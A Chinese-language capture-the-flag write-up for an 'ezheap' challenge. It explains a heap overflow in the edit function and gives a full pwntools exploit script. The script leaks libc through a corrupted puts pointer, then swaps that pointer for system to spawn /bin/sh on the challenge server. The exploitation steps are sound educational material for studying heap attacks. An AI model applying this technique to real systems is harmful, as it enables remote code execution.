经典的增删改查

我们先看 add 函数

重要的是这几行,先创建一个 0x20 大小的堆块(实际是 0x30)放入heaplist 数组中,类似于管理堆块的数组

v0 是 chuank0 data 段的地址,v0+0x10 中放入新 chunk 的 data 段地址,v0+0x20 存入 puts 函数的真实地址

后续又往 chunk0 和 chunk1 中读入数据

堆块的大致情况入下图

delet 函数

free 后置零没有 uaf 漏洞

edit 函数

重点在这边,修改的 size 大小是我们输入进去的,所以我们可以申请两个 chunk,修改 第一个 chunk 的时候把第二个 chunk 的内容也修改掉。

show 函数

heaplist[v1] + 0x20 的地方就是 puts 函数,这边的本意就是调用 puts 函数输出heaplist[v1]->data 段内容,heaplist[v1] + 0x10->data 和第二个 chunk 中 data 段的内容

目前我们的思路就很清楚了,我们可以先申请两个堆块,然后通过 edit 函数修改第一个堆块时把第二个堆块的内容一并修改掉,让 puts 函数输出 puts 的真实地址,这样我们就获得了 libc 的基地址。

首先我们调用 show 函数的逻辑是使用 puts 函数去输出 name 中的内容

如果我们把 chunk_size 上面的内容都填入 0,chunk_size 修改为第二个 chunk 中 puts 函数存放的地址,也就是 v0+0x20,那么我们现在调用 show 不就是把 puts 函数的真实地址输出出来了吗

首先我们先 add 两个 0x10 的堆(实际大小为 0x20)

我们需要修改0x00005cbfc5387320 中后两位就可以修改到存放 puts 地址的位置,这边图片显示的是 20 修改到 10,但是实际测试的过程中是需要修改到 80

第一段 payload 就是通过 chunk0 修改到 chunk1 的内容

1
2
3
4
add(0,0x10,b"name",b"aaaa")
add(1,0x10,b"name",b"bbbb")
payload1=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80)
edit(0,0x31,payload1)

此时我们已经成功修改到了

此时调用 show(1)即可输出 puts 的真实地址,通过 puts 地址算出 libc 基地址,后续通过 chunk0 修改到 chunk1 中 puts 函数为 system 函数,将 chunk1 中 name 部分覆盖为/bin/sh\x00,此时再调用 show(1)就是 system(“/bin/sh\x00”)

远程测试后发现修改指向 puts 地址的位置,后两位是需要修改为 80 的


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
p=remote('node5.anna.nssctf.cn',22003)#配置远程连接node5.anna.nssctf.cn:22003
else:
p=process("./ezheap")#配置本地连接:

def s(a):#发送
p.send(a)
def sl(a):#带\n发送
p.sendline(a)
def sa(a,b):#直到接收到a后发送b
p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
p.sendlineafter(a,b)
def r():#接收
p.recv()
def rl(a):#等待到接收到a
return p.recvuntil(a)
def m():#调用gdb
gdb.attach(p)

def choice(idx):
sla(b"Choice: ",str(idx))

def add(idx,size,name,content):
choice(1)
sla(b"Input your idx:",str(idx))
sla(b"Size:",str(size))
sla(b"Name: ",name)
sla(b"Content:",content)

def edit(idx,size,content):
choice(4)
sla(b"Input your idx:",str(idx))
sla(b"Size:",str(size))
s(content)

def delete(idx):
choice(2)
sla(b"Input your idx:",str(idx))

def show(idx):
choice(3)
sla(b"Input your idx:",str(idx))


###############################################
libc=ELF("libc-2.23.so")
add(0,0x10,b"name",b"aaaa")
add(1,0x10,b"name",b"bbbb")


payload1=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x80)
edit(0,0x31,payload1)

show(1)

puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_addr=",hex(puts))
libcbase=puts-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
print(f"libcbase=",hex(libcbase))

payload2=p64(0)*3+p64(0x31)+b"/bin/sh\x00"+p64(0)*3+p64(system_addr)
edit(0,0x48,payload2)

show(1)

p.interactive()#与程序交互